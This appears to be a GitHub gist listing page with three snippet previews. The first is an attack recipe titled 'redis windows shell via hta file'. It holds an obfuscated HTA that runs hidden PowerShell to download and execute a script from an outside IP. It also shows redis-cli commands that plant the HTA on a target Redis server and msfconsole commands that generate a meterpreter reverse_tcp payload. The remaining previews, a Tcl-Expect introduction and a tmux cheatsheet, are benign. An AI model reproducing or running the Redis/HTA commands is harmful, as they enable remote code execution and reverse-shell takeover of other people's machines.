Skip to content

Instantly share code, notes, and snippets.

@carnal0wnage
carnal0wnage / gist:93a9a8fa20acd0d62d0343b438710db8
Created January 18, 2017 02:06
redis windows shell via hta file
root@weisuo.org:~# cat hta-psh.txt
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
# cat hta-psh.txt |redis-cli -x -h 192.168.138.27 set a
OK
#msfconsole
use payload/windows/meterpreter/reverse_tcp
generate -t hta-psh -f /var/www/1.ps1
#cat 1.ps1
@ksafranski
ksafranski / expecting.md
Last active November 11, 2023 23:00
Basic principles of using tcl-expect scripts

Intro

TCL-Expect scripts are an amazingly easy way to script out laborious tasks in the shell when you need to be interactive with the console. Think of them as a "macro" or way to programmaticly step through a process you would run by hand. They are similar to shell scripts but utilize the .tcl extension and a different #! call.

Setup Your Script

The first step, similar to writing a bash script, is to tell the script what it's executing under. For expect we use the following:

#!/usr/bin/expect
@MohamedAlaa
MohamedAlaa / tmux-cheatsheet.markdown
Last active May 20, 2024 12:37
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname